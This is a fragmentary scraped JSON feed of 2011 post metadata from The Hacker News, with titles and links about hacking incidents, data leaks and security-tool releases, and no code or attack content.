p://thehackernews.com/2011/06/sega-pass-customer-datails-hacked.html","title":"Sega Pass customer datails hacked, LulzSec wants to Help Sega !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-c4jv1IHAvMA/TfxqWk8jU0I/AAAAAAAACMs/CioQC5KU7YI/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
ext/html","href":"http://thehackernews.com/2011/06/thc-hydra-v64-fast-network-logon.html","title":"THC-HYDRA v6.4 - Fast network logon cracker"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-1XqPOnICU80/TfxRXE9TfzI/AAAAAAAACMo/HkaMJ_yBues/s72-c/THC-HYDRA+v6.1+brute+force+tool+Released.png
...[SNIP]...
l","href":"http://thehackernews.com/2011/06/samhain-v285-intrusion-detection-system.html","title":"SAMHAIN v2.8.5 - intrusion detection system"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-Lv1hEEQ1yzs/TfxQ5IQxHpI/AAAAAAAACMk/q2Y_tbYq8Us/s72-c/intrusion-detection.jpg","height":"72","widt
...[SNIP]...
e":"text/html","href":"http://thehackernews.com/2011/06/hp-computers-ftp-hacked-by-hexcoder.html","title":"HP computers FTP hacked by HexCoder"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-KnyOLyLTy4M/TftRUlnMZZI/AAAAAAAACMY/Fw5d2_LHGXE/s72-c/11ruqv9.png","height":"72","width":"72"}},{"
...[SNIP]...
ml","href":"http://thehackernews.com/2011/06/clubhack-chmag-issue-17th-june-2011.html","title":"ClubHack: CHMag Issue 17th, June 2011 Download"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-Z9oLIsaR54I/TftVpYFLOGI/AAAAAAAACMg/JmLSV4WcPlo/s72-c/june2011.jpg","height":"72","width":"72"}},{
...[SNIP]...
ckernews.com/2011/06/xss-attack-on-cia-central-itelligence.html","title":"XSS attack on CIA (Central Itelligence Agency) Website by lionaneesh"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-aWA6KNmgit0/TftT-V5gO8I/AAAAAAAACMc/Qx8ESwk9W8M/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
"http://thehackernews.com/2011/06/lulzsec-leaks-62000-emailpasswords-of.html","title":"LulzSec Leaks 62,000 Email/Passwords of writerspace.com"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-6dVgfD11FFA/TfoNPq2NOZI/AAAAAAAACMU/5w1UpdpYQgY/s72-c/lulzseclogins.jpg","height":"72","width":"72
...[SNIP]...
ef":"http://thehackernews.com/2011/06/anonymous-hackers-hit-50-malaysian.html","title":"Anonymous Hackers hit 50 Malaysian government websites"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-e9IBFLZDua4/TfmpUsbthYI/AAAAAAAACMQ/abAeYe0_tMs/s72-c/30-Operation-Malaysia.jpg","height":"72","wi
...[SNIP]...
thehackernews.com/2011/06/paypal-vulnerability-hack-any-paypal.html","title":"PayPal vulnerability : Hack any Paypal account within 30 seconds"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-a9-W-fwtL2I/TfmmleczWPI/AAAAAAAACMM/k6Nsb4rb8Zs/s72-c/PayPal_eps.png","height":"72","width":"72"}}
...[SNIP]...
ef":"http://thehackernews.com/2011/06/wso-new-version-25-web-shell-2011.html","title":"WSO New version 2.5 ( Web Shell ) 2011 - Download Now !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://i56.tinypic.com/n4axdg_th.jpg","height":"72","width":"72"}},{"id":{"$t":"tag:blogger.com,1999:blog-480284147863414727
...[SNIP]...
ernate","type":"text/html","href":"http://thehackernews.com/2011/06/lulzsec-take-down-cia-website.html","title":"LulzSec take down CIA Website"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-1Segd4NE6x0/TfmSv5wbzVI/AAAAAAAACMI/IC0AweSsJ24/s72-c/20444_large_CIA_Takedown.png","height":"72",
...[SNIP]...
xt/html","href":"http://thehackernews.com/2011/06/interview-with-team-inj3ct0r-1337day.html","title":"Interview with Team Inj3ct0r ( 1337day )"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-RTY9FssxDKY/TfbflEAFiqI/AAAAAAAACMA/llCwW3vbMJc/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
,"href":"http://thehackernews.com/2011/06/lulzsec-hackers-break-into-us-senate.html","title":"Lulzsec Hackers Break Into U.S. Senate Computers"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-LGjC8Khgh_E/TfbXRIBvCEI/AAAAAAAACL8/yXL6hI6szFo/s72-c/US+Senate+Logo+500px.png","height":"72","wid
...[SNIP]...
news.com/2011/06/60-websites-defaced-by-sbz-ghost-team.html","title":"60 websites defaced by SbZ-GHoST TeaM against Denmark ,USA \u0026 Israel"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-39X0F7NKV0o/TfbWT3B92lI/AAAAAAAACL4/dcVA4dUj89E/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
,"href":"http://thehackernews.com/2011/06/video-presentation-on-stuxnet-by-hungry.html","title":"Video Presentation on Stuxnet by Hungry Beast"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-yLWwajEI3pU/TfYbGnqD0KI/AAAAAAAACLY/_uIQ0RwY4q0/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
"http://thehackernews.com/2011/06/turkey-police-arrests-32-anonymous.html","title":"Turkey police arrests 32 Anonymous hackers for DDOS attack"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-UZ9lmZe6UUU/TfYhXpokuHI/AAAAAAAACLc/8bwmw7zmp_U/s72-c/internet-activist-group-warns-turkish-govern
...[SNIP]...
href":"http://thehackernews.com/2011/06/26000-porn-websites-passwords-exposed.html","title":"26,000 Porn websites passwords exposed by LulzSec"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-r9meLpdta_o/TfStOSNWjTI/AAAAAAAACLQ/tssI117Rxoc/s72-c/porn-passwords.jpg","height":"72","width":"7
...[SNIP]...
:"text/html","href":"http://thehackernews.com/2011/06/samurai-web-testing-framework-livecd.html","title":"Samurai Web Testing Framework LiveCD"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-D4RjBs5qx8k/TfSrNY5KFZI/AAAAAAAACLM/s_tdHUG1nr8/s72-c/screenshot.jpg","height":"72","width":"72"}}
...[SNIP]...
//thehackernews.com/2011/06/3-suspected-sony-playstation-network.html","title":"3 suspected Sony PlayStation Network hackers arrested in Spain"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-kBySFIGOodU/TfNMhyv4SVI/AAAAAAAACLE/KAYw0oo3AoE/s72-c/0203pod11_J_20090203161028-538x358.jpg","hei
...[SNIP]...
nonymous India again strike to Indian Government , last time National Informatics Centre (NIC) one of the Subdomain was only hacked by Hackers , Read here . \n\n\nThis time Some Hackers ( Contact ID : anonymous_indian@hushmail.me ) have now become a part of the fight against corruption with..Anonymous."},"link":[{"rel":"edit","type":"application/atom+xml","href":"http://www.blogger.com/feeds/4802841478634147276/posts/default/6
...[SNIP]...
-india-opindia-strikes-again.html","title":"Anonymous India (#OpIndia) strikes again to NIC Server and India Army Website against Corruption !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-Hi_U9O9CW2I/TfH2-N4KEWI/AAAAAAAACKg/y7IWzIveQx0/s72-c/110610-anonymous-hack-indian-govt-websites-p
...[SNIP]...
ehackernews.com/2011/06/ani-shell-v11-back-connect-and-bind.html","title":"Ani-Shell v1.1 - Back-Connect and Bind-Shell Features by lionaneesh"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-LEcCg7X-ks0/TfGnKzCZl0I/AAAAAAAACKQ/0-AvSQsxNKc/s72-c/back1.PNG","height":"72","width":"72"}},{"id
...[SNIP]...
","type":"text/html","href":"http://thehackernews.com/2011/06/motorola-croatia-website-hacked.html","title":"Motorola (Croatia) Website hacked"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-OEUUw508ZUI/TfGXZ1k1mOI/AAAAAAAACKM/k8LJjchURTQ/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
":"http://thehackernews.com/2011/06/citibank-hacked-large-number-of.html","title":"CitiBank hacked \u0026 large number of customer data stolen"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-CijaIeA5F2E/TfB1pCaCm8I/AAAAAAAACKI/jhV7lUN3zcg/s72-c/citibank181_2.jpg","height":"72","width":"72
...[SNIP]...
:"text/html","href":"http://thehackernews.com/2011/06/epic-games-database-hacked-by-contra.html","title":"Epic Games Database Hacked by Contra"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-sIzAzYK66Nw/Te-iIXOEn1I/AAAAAAAACJ8/LyPC6ykRHMs/s72-c/epic_games_logo.jpg","height":"72","width":"
...[SNIP]...
rnate","type":"text/html","href":"http://thehackernews.com/2011/06/mit-ilp-hacked-by-cyberowner.html","title":"MIT (ILP) hacked by Cyber_Owner"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-Nm5r0v-OR5I/Te7Q4jBBYSI/AAAAAAAACJ4/03Va7NyZ5k8/s72-c/gaiojaadg.jpg","height":"72","width":"72"}},
...[SNIP]...
ernews.com/2011/06/united-nations-childrens-fund-unicef.html","title":"United Nations Children's Fund (UNICEF) Hacked by ZCompany Hacking Crew"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-rrmg0vjq-C4/Te7O5AKMW3I/AAAAAAAACJ0/OrDA-Ywr1-I/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
onymous-hackers-announce-operation.html","title":"Anonymous Operation India Press Release after Ramdev fiasco to fight with against corruption"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-0IbwEV5cmZM/Te4h_OOj_7I/AAAAAAAACJs/Ob6ddab5HCY/s72-c/opindia+copy.jpg","height":"72","width":"72"
...[SNIP]...
news.com/2011/06/lulzsec-leaks-source-code-of-sony.html","title":"Lulzsec Leaks Source Code of Sony Computer Entertainment Developer Network !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-xQ_SS3X8bcE/Tezd9kQqbRI/AAAAAAAACJo/RD5zAVSeUxw/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
news.com/2011/06/total-exposure-hacker-news-thn-magazine.html","title":"Total Exposure - The Hacker News [THN] Magazine - June 2011 | Issue 03"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-r4nHNh7xIHc/TezAY2kgUII/AAAAAAAACJg/NZgSweecYKI/s72-c/ads.png","height":"72","width":"72"}},{"id":
...[SNIP]...
ehackernews.com/2011/06/national-informatics-centre-nic-india.html","title":"National Informatics Centre (NIC INDIA) got hacked by Anonymous !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-twUbsHdmFY4/Tex9tzO0RVI/AAAAAAAACJY/9i7YYedwH58/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
te","type":"text/html","href":"http://thehackernews.com/2011/06/sony-music-brazil-gets-defaced.html","title":"Sony Music Brazil Gets defaced !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-Mq-4vo1p88Q/TeuVQhbWrWI/AAAAAAAACJU/NRtE8e5QYOg/s72-c/Sony-Music-Brazil.jpg","height":"72","width"
...[SNIP]...
http://thehackernews.com/2011/06/john-ripper-177-jumbo-5-latest-release.html","title":"John The Ripper 1.7.7 Jumbo 5 - Latest Release Download"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-H_cHv6jHFRo/TeoR3F0T8MI/AAAAAAAACJM/I22xwjp17sw/s72-c/John.gif","height":"72","width":"72"}},{"id"
...[SNIP]...
p://thehackernews.com/2011/06/thn-report-acer-hacked-because-of-their.html","title":"THN Report : ACER hacked because of their own stupidity !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-N-MQPnj80cw/TenTQkAMO6I/AAAAAAAACJI/7kXsk6w6BjI/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
:"text/html","href":"http://thehackernews.com/2011/06/f-secure-releases-anti-virus-for-mac.html","title":"F-Secure Releases Anti-Virus For Mac"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-2YoEyEENU18/TenPtbembRI/AAAAAAAACJE/q4vjl2UpwV4/s72-c/F-Secure-Anti-Virus-for-Mac.png","height":"7
...[SNIP]...
ani-shell-v10-php-shell-with-features.html","title":"Ani-Shell v1.0 - PHP shell with features like Mass-Mailer , Fuzzer , DDoser by lionaneesh"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-Eoel6eiK5T8/TenNflOiHxI/AAAAAAAACI8/2UH1j2_fr2Y/s72-c/Ani-shell1.PNG","height":"72","width":"72"}}
...[SNIP]...
,"href":"http://thehackernews.com/2011/06/operation-cupcake-mi6-hacks-al-qaeda.html","title":"Operation Cupcake : MI6 hacks al-Qaeda website !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-cD7f58aQtEs/TenHayZIe-I/AAAAAAAACI4/Z-QsuFdmBb4/s72-c/MI6+attacks+al-Qaeda+in+%2527Operation+Cupca
...[SNIP]...
rnews.com/2011/06/lulzsec-hack-infragard-atlanta-members.html","title":"Lulzsec hack Infragard Atlanta Members Alliance \u0026 challenge FBI !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-Ygsc47EPMGg/TemE1Y8rpQI/AAAAAAAACIk/ixAwbDz2z6E/s72-c/fbi_spy_0718_full.jpg","height":"72","width"
...[SNIP]...
ews.com/2011/06/sony-12th-time-hacked-database-of.html","title":"Sony 12th time Hacked : Database of Application Store at Sony Europe Leaked !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-tp5OhqWtOTo/Tel9bPuo2zI/AAAAAAAACIY/uCrmHrA-N_Y/s72-c/sony-hacked-again+%25281%2529.jpg","height":
...[SNIP]...
ews.com/2011/06/40000-users-data-source-codes-server-of.html","title":"ACER Hacked : 40,000 Users Data, Source Codes \u0026 Server Compromised"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-teeZQk0NWQs/Tej-NOxhw-I/AAAAAAAACIE/7TwFQ0VFt28/s72-c/137458_101101115903_AcerLogo.jpg","height":"
...[SNIP]...
hehackernews.com/2011/06/hackers-stole-classified-information.html","title":"Hackers stole classified information from two Canadian ministries"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-qo-XBQRWYNU/Tej8igMZ9uI/AAAAAAAACIA/dQaWzeFWmUw/s72-c/iStock_000005760185XSmall.jpg","height":"72"
...[SNIP]...
,"href":"http://thehackernews.com/2011/06/anonymous-leaks-10000-e-mails-of.html","title":"Anonymous Leaks 10,000 E-mails of Iranian Government"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-SJ2jX3o1r0U/Tehl2Agyg1I/AAAAAAAACH4/NlkfRw__wQY/s72-c/anon-op-iran-110210-01.jpg","height":"72","w
...[SNIP]...
ef":"http://thehackernews.com/2011/06/chinese-hackers-having-aim-to-spying-on.html","title":"Chinese hackers having aim to Spying on U.S. Govt"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-V9NGe9W7N_E/TehjMwH2FnI/AAAAAAAACH0/LS6rFcSFia0/s72-c/legaltitle-1.jpg","height":"72","width":"72"
...[SNIP]...
,"href":"http://thehackernews.com/2011/06/sony-pictures-hacked-and-database.html","title":"Sony Pictures hacked and Database Leaked by LulzSec"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-VZNEIALpnno/TegUgaYLliI/AAAAAAAACHw/wbzE_1O9G4c/s72-c/sony-hacked-again.jpg","height":"72","width"
...[SNIP]...
://thehackernews.com/2011/06/facebook-password-extractor-get.html","title":"Facebook Password Extractor - Get passwords stored in Web browsers"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-8IyWJqDv7iA/TeeENfyppzI/AAAAAAAACHs/JsuoCHXYBV0/s72-c/fpe_s.gif","height":"72","width":"72"}},{"id
...[SNIP]...
6301605592"},{"rel":"alternate","type":"text/html","href":"http://thehackernews.com/2011/06/nato-vs-anonymous.html","title":"NATO Vs Anonymous"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-xutCRUWybks/TedRqvCSUCI/AAAAAAAACHg/4xS38B43X6k/s72-c/anonato.jpg","height":"72","width":"72"}},{"
...[SNIP]...
ernews.com/2011/06/chinese-hacker-cracks-hundreds-of-gmail.html","title":"Chinese Hacker Cracks Hundreds of Gmail Accounts of U.S. \u0026 Asia"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-5Xz4iVtJpbg/Teb0mVwSGHI/AAAAAAAACHY/8d_ilaXA2fw/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
://thehackernews.com/2011/06/national-democratic-party-npd-of.html","title":"National Democratic Party (NPD) of Germany hacked by n0-N4m3 Cr3w"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-siF36rkNEG4/TeYoXeY8U1I/AAAAAAAACHM/54kX8cFBvkc/s72-c/npd_banner.jpg","height":"72","width":"72"}}
...[SNIP]...
ttp://thehackernews.com/2011/06/dating-funda-hacked-over-1-lakh-45000.html","title":"Dating Funda Hacked over 1 lakh 45,000 user data hacked !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-5i1M9TZotEg/TeYjAPHTgqI/AAAAAAAACHE/WdoQ-9X5Alw/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
"href":"http://thehackernews.com/2011/06/wireshark-147-wireshark-1217-released.html","title":"Wireshark 1.4.7 \u0026 Wireshark 1.2.17 Released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-2nQPb0QxYIM/TeXnwHyN5GI/AAAAAAAACHA/Ia4Cx5dp_wk/s72-c/wpid-wireshark.gif","height":"72","width":"7
...[SNIP]...
ttp://thehackernews.com/2011/05/psborg-was-hacked-with-0day-exploit-for.html","title":"PSB.org was hacked with 0day exploit for MoveableType !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-rAlJONhUoxE/TeUfm-HMfMI/AAAAAAAACGg/nYszGLZrhUM/s72-c/pbs_hacked.jpg","height":"72","width":"72"}}
...[SNIP]...
"href":"http://thehackernews.com/2011/05/server-with-335-websites-got-hacked-by.html","title":"Server with 335 websites got hacked by PakH3X0r"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-4VzVN0G3B6s/TeUIWHni1yI/AAAAAAAACGU/vSU3wTCJV08/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
1/05/delhi-universitys-control-panel-fashion.html","title":"Delhi University's Control Panel \u0026 Fashion TV India's Data Hacked by Moofster"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-GXgGob-rOIE/TeT8VpD5ucI/AAAAAAAACGM/FjwerMI__bo/s72-c/delhiuniversityhacked.png","height":"72","wi
...[SNIP]...
:"http://thehackernews.com/2011/05/md5deep-and-hashdeep-latest-version-391.html","title":"md5deep and hashdeep - Latest version 3.9.1 Released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/--HAKlP6jlgc/TeTzeuc1ygI/AAAAAAAACGI/YAEt_orDvbk/s72-c/hashdeep.png","height":"72","width":"72"}},{
...[SNIP]...
ttp://thehackernews.com/2011/05/exploit-database-site-exploit-id-was.html","title":"Exploit Database site - Exploit-ID was under DDOS attack !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-zq4XRcRhx8Y/TeTyoVZkwrI/AAAAAAAACGE/fhRyfEnbd0g/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
/thehackernews.com/2011/05/shahrukh-khans-upcoming-movie-ra-one.html","title":"Shahrukh Khan's upcoming Movie - Ra One Official Website hacked"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-Fb9VM0VDmfw/TeTwDJ8_24I/AAAAAAAACF8/-mGEbNgc_Mk/s72-c/b7o028.png","height":"72","width":"72"}},{"i
...[SNIP]...
":"http://thehackernews.com/2011/05/3-websites-hacked-by-indian-girl-hacker.html","title":"3 websites hacked by Indian Girl Hacker - TriNitY !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-nl7I0B8R498/TeTs8aYzpgI/AAAAAAAACF4/3xwA7PVSovc/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
l","href":"http://thehackernews.com/2011/05/pakistani-hackers-site-got-hacked-by.html","title":"Pakistani hackers site got hacked by Indishell"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-bpzsYLjjUgg/TeTrfn3DTKI/AAAAAAAACF0/IvF1fXKk9ho/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
/2011/05/t-series-media-company-other-domains-of.html","title":"T-Series Media Company \u0026 Other Domains of T-Series Hacked By ZHC XtreMist"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-RkPGxMwx25Q/TeTpkRQliGI/AAAAAAAACFw/PYb-nCzFFTo/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
.com/2011/05/sniffjoke-041-anti-sniffing-framework.html","title":"Sniffjoke 0.4.1 - Anti-sniffing Framework \u0026 Tool For Session Scrambling"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-omWjpA2aBFw/TeOjhlH31oI/AAAAAAAACFs/NIPW-eG5LU8/s72-c/shp-scissor_man.jpg","height":"72","width":"
...[SNIP]...
